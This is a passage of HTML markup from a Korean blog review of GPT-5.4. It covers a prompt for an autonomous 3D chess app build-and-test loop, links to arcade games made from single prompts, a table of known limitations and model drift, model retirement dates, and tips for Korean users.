&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;922&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MhfCP/dJMcaa5xcud/KLr3zBaAVBfFzlGitensPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MhfCP/dJMcaa5xcud/KLr3zBaAVBfFzlGitensPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MhfCP/dJMcaa5xcud/KLr3zBaAVBfFzlGitensPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMhfCP%2FdJMcaa5xcud%2FKLr3zBaAVBfFzlGitensPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1570&quot; height=&quot;922&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;922&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성 결과&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3392&quot; data-origin-height=&quot;1866&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B0OhM/dJMcaaqV4gB/okgaMrAa3Qr32oEuQLEKQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B0OhM/dJMcaaqV4gB/okgaMrAa3Qr32oEuQLEKQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B0OhM/dJMcaaqV4gB/okgaMrAa3Qr32oEuQLEKQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB0OhM%2FdJMcaaqV4gB%2FokgaMrAa3Qr32oEuQLEKQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3392&quot; height=&quot;1866&quot; data-origin-width=&quot;3392&quot; data-origin-height=&quot;1866&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2194&quot; data-origin-height=&quot;1916&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVcjbL/dJMcajg3lpl/9517qMyp0ChfoTkUeqheaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVcjbL/dJMcajg3lpl/9517qMyp0ChfoTkUeqheaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVcjbL/dJMcajg3lpl/9517qMyp0ChfoTkUeqheaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVcjbL%2FdJMcajg3lpl%2F9517qMyp0ChfoTkUeqheaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2194&quot; height=&quot;1916&quot; data-origin-width=&quot;2194&quot; data-origin-height=&quot;1916&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 예시 5 --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Codex (GPT-5.4, Computer Use 활성화)&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;예시 5 - 빌드-테스트 루프 체험&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;AI가 앱을 만들고, 직접 실행해서, 기물을 움직여 테스트까지 하는 완전한 자율 루프를 체험해보세요. Computer Use 기능이 활성화되어 있어야 합니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;체스 게임을 Electron 앱으로 만들어줘.
- 3D 렌더링 (유리/대리석 질감)
- 모든 기물 이동 규칙 포함 (캐슬링 포함)
- 완성 후 직접 플레이해서 버그가 없는지 확인해줘&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 중간에 직접 오류 수정까지 완료하여 최종 렌더링 성공&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;834&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w6A7U/dJMcaivGYnz/mUmEWXEbG5P7pcWHwRI9jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w6A7U/dJMcaivGYnz/mUmEWXEbG5P7pcWHwRI9jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w6A7U/dJMcaivGYnz/mUmEWXEbG5P7pcWHwRI9jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw6A7U%2FdJMcaivGYnz%2FmUmEWXEbG5P7pcWHwRI9jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1592&quot; height=&quot;834&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;834&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 결과 : 화면조정이 좀 필요하지만 3D 체스게임도 싱글프롬프트로 개발 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3076&quot; data-origin-height=&quot;1970&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s36ih/dJMcahXS3gZ/wtFvSDaf8LFvYMaZ1YLBiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s36ih/dJMcahXS3gZ/wtFvSDaf8LFvYMaZ1YLBiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s36ih/dJMcahXS3gZ/wtFvSDaf8LFvYMaZ1YLBiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs36ih%2FdJMcahXS3gZ%2FwtFvSDaf8LFvYMaZ1YLBiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3076&quot; height=&quot;1970&quot; data-origin-width=&quot;3076&quot; data-origin-height=&quot;1970&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 한방 아케이드 - 실제 배포 섹션 --&gt;
&lt;h4 style=&quot;font-size: 17px; color: #0a7a3c; margin: 35px 0 15px; font-weight: 600; border-bottom: 2px solid #b2f0d0; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;싱글 프롬프트 게임을 직접 플레이해보자&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;위 챌린지를 직접 실행해보고 싶은데 환경 세팅이 번거롭다면? 싱글 프롬프트로 만든 9개의 게임을 웹에서 바로 플레이할 수 있도록 배포해두었습니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;각 게임 페이지에서 &lt;b&gt;원본 프롬프트 전문&lt;/b&gt;도 확인할 수 있습니다. 그대로 GPT-5.4에 붙여넣어 직접 재현해보세요.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0faf5; border: 1px solid #b2f0d0; border-radius: 12px; padding: 20px 24px; margin: 15px 0 25px 0;&quot;&gt;
&lt;div style=&quot;display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 12px;&quot;&gt;&lt;!-- pacific-shooter --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit; transition: box-shadow 0.2s;&quot; href=&quot;https://goddaehee.com/arcade/pacific-shooter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;슈팅 &amp;middot; 키보드&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Pacific Sky Assault&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;태평양 하늘의 공중전&lt;/div&gt;
&lt;/a&gt; &lt;!-- power-breaker --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/power-breaker&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;벽돌깨기 &amp;middot; 마우스&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Power Breaker&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;화려한 파워업 벽돌깨기&lt;/div&gt;
&lt;/a&gt; &lt;!-- gravity-asteroid --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/gravity-asteroid&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;슈팅 &amp;middot; 마우스&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Gravity Drift&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;소행성 벨트 생존&lt;/div&gt;
&lt;/a&gt; &lt;!-- neon-hextris --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/neon-hextris&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;퍼즐 &amp;middot; 키보드&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Neon Hextris Pulse&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;육각형 퍼즐의 비트&lt;/div&gt;
&lt;/a&gt; &lt;!-- hover-racer --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/hover-racer&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;레이싱 &amp;middot; WASD&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Neon Hover Racing&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;반중력 호버카 레이싱&lt;/div&gt;
&lt;/a&gt; &lt;!-- moonlit-samurai --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/moonlit-samurai&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;러너 &amp;middot; 키보드+클릭&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;달빛 사무라이 러너&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;달밤을 달리는 사무라이&lt;/div&gt;
&lt;/a&gt; &lt;!-- joseon-fortress --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/joseon-fortress&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;전략 &amp;middot; 마우스&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;조선 성곽 수성전&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;10웨이브 타워 디펜스&lt;/div&gt;
&lt;/a&gt; &lt;!-- escher-labyrinth --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/escher-labyrinth&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;퍼즐 &amp;middot; 키보드&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Relativity Labyrinth&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;에셔 3방향 중력 미로&lt;/div&gt;
&lt;/a&gt; &lt;!-- kula-world --&gt; &lt;a style=&quot;display: block; background: white; border: 1px solid #d1f0e0; border-radius: 10px; padding: 14px; text-decoration: none; color: inherit;&quot; href=&quot;https://goddaehee.com/arcade/kula-world&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div style=&quot;font-size: 11px; color: #0a7a3c; font-weight: 600; margin-bottom: 4px;&quot;&gt;3D퍼즐 &amp;middot; WASD&lt;/div&gt;
&lt;div style=&quot;font-size: 14px; font-weight: bold; color: #1a3a52; margin-bottom: 4px;&quot;&gt;Pastel Kula World&lt;/div&gt;
&lt;div style=&quot;font-size: 12px; color: #666;&quot;&gt;Three.js 3D 공중 블록&lt;/div&gt;
&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center; margin-top: 16px;&quot;&gt;&lt;a style=&quot;display: inline-block; background-color: #0a7a3c; color: white; font-weight: bold; font-size: 14px; padding: 10px 28px; border-radius: 8px; text-decoration: none;&quot; href=&quot;https://goddaehee.com/arcade&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;전체 보기 &amp;rarr; &lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;&lt;b&gt;실습 안내&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;실습 결과는 사용자 환경과 프롬프트 표현에 따라 다를 수 있습니다. 재미있는 결과가 나왔다면 커뮤니티에 공유해보세요! 같은 프롬프트라도 시도할 때마다 다른 결과가 나올 수 있으니, 여러 번 시도해보는 것도 좋은 방법입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 제한사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 알려진 제한사항 및 주의점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4를 본격적으로 쓰기 전에, 미리 알아두면 시행착오를 줄일 수 있는 제한사항들을 정리했습니다. 특히 Pro 5.4를 고려하시는 분들은 꼭 확인해주세요.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #f5c6cb;&quot;&gt;제한사항&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #f5c6cb;&quot;&gt;상세&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #f5c6cb;&quot;&gt;신뢰도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;1M 컨텍스트 옵트인 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;기본값은 272K. 명시적 API 파라미터 설정 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 문서 (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;긴 컨텍스트 신뢰도 저하&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;불필요한 정보를 채울수록 오히려 오답 증가&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 문서 (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;컴퓨터 사용 완벽하지 않음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;OSWorld 75% = 4회 중 1회는 실패&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;벤치마크 데이터 (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Pro 5.4 기능 제한&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Apps, Memory, Canvas, 이미지 생성 비활성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 Help Center (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Pro 5.4 고비용&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Thinking 대비 12배 &amp;mdash; 일반 업무에서 비효율&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 가격표 (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gpt-5.4-pro Chat Completions 미지원&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Responses API 전용, 기존 코드 마이그레이션 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 API 문서 (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;모델 드리프트 (Model Drift)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;동일 모델 ID로 조용히 업데이트되어 동작 변화 가능. 프로덕션 회귀 테스트 필수&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;커뮤니티 피드백 (Level 3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Pro 5.4 $200/월 &amp;mdash; 비활성 기능 다수&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Apps, Memory, Canvas, 이미지 생성 모두 비활성. $200을 냈는데 $20 Plus보다 쓸 수 있는 기능이 적다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;공식 Help Center (Level 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;모델 드리프트 &amp;mdash; 개발자 대응 가이드&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI는 동일 모델 ID(&lt;code&gt;gpt-5.4&lt;/code&gt;) 하에서 조용히 모델을 업데이트하는 경우가 있다. 이는 오늘 테스트한 동작과 다음 주 프로덕션 동작이 달라질 수 있음을 의미한다. r/codex 개발자 커뮤니티에서는 이 문제에 대한 불만 목소리가 꾸준히 나온다: &lt;i&gt;&quot;GPT-5.4가 5.3 codex보다 나쁘다 &amp;mdash; 내 의도를 계속 잘못 이해한다.&quot;&lt;/i&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;날짜 고정 버전 사용:&lt;/b&gt; 가능하다면 &lt;code&gt;gpt-5.4-2026-03-05&lt;/code&gt; 같은 날짜 고정 버전으로 API를 호출할 것 (지원 여부는 &lt;a href=&quot;https://platform.openai.com/docs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt; 확인)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;회귀 테스트 추가:&lt;/b&gt; 중요 에이전트 워크플로우에는 동작 변화를 감지하는 자동화 테스트를 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;API 게이트웨이 고려:&lt;/b&gt; 모델 전환을 config 한 줄로 처리할 수 있도록 추상 레이어를 두면 드리프트 대응이 쉬워진다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 모델 퇴역 일정 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 모델 퇴역 일정&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 출시와 함께 OpenAI는 대규모 구형 모델 퇴역도 함께 발표했다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GPT-5.2 Instant:&lt;/b&gt; 2026년 6월 3일 퇴역 &lt;span style=&quot;color: #888; font-size: 13px;&quot;&gt;(⚠️ 공식 문서 미확인 &amp;mdash; 퇴역 전 &lt;a href=&quot;https://openai.com/index/retiring-gpt-4o-and-older-models/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 페이지&lt;/a&gt;에서 확인 권장)&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GPT-5.2 Thinking:&lt;/b&gt; 2026년 6월 5일 퇴역&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GPT-4o, GPT-4.1, GPT-4.1 mini, o4-mini:&lt;/b&gt; ChatGPT에서 단계적 퇴역 진행 중&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/index/retiring-gpt-4o-and-older-models/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Retiring GPT-4o and older models | OpenAI&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;레거시 모델 사용자 행동 필요&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.2 기반 API를 사용 중이라면 2026년 6월 전에 GPT-5.4로 마이그레이션해야 한다. 특히 &lt;code&gt;gpt-5.4-pro&lt;/code&gt;는 Responses API 전용이므로, 기존 Chat Completions 코드를 사전에 전환해두는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 한국어 사용자 주의사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 한국어 사용자 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4는 출시 직후라 한국어 환경에서의 공식 벤치마크는 아직 공개되지 않았다. 다만 GPT-5.3 Instant 이후 개선된 내용과 GPT-5.4의 특성을 고려한 실용 가이드를 정리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국어 추론 품질&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Thinking 5.4의 Preamble(계획 미리보기):&lt;/b&gt; 영어로 출력되는 경우가 있다. 한국어 응답이 필요하면 시스템 프롬프트에 &quot;모든 응답은 한국어로 작성하라&quot;를 명시하는 것이 좋다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;추론 토큰 언어:&lt;/b&gt; 내부 CoT(Chain-of-Thought) 토큰은 영어로 처리되어도 최종 응답은 한국어로 나온다. 추론 품질 자체는 언어에 관계없이 동일하다.&lt;/li&gt;
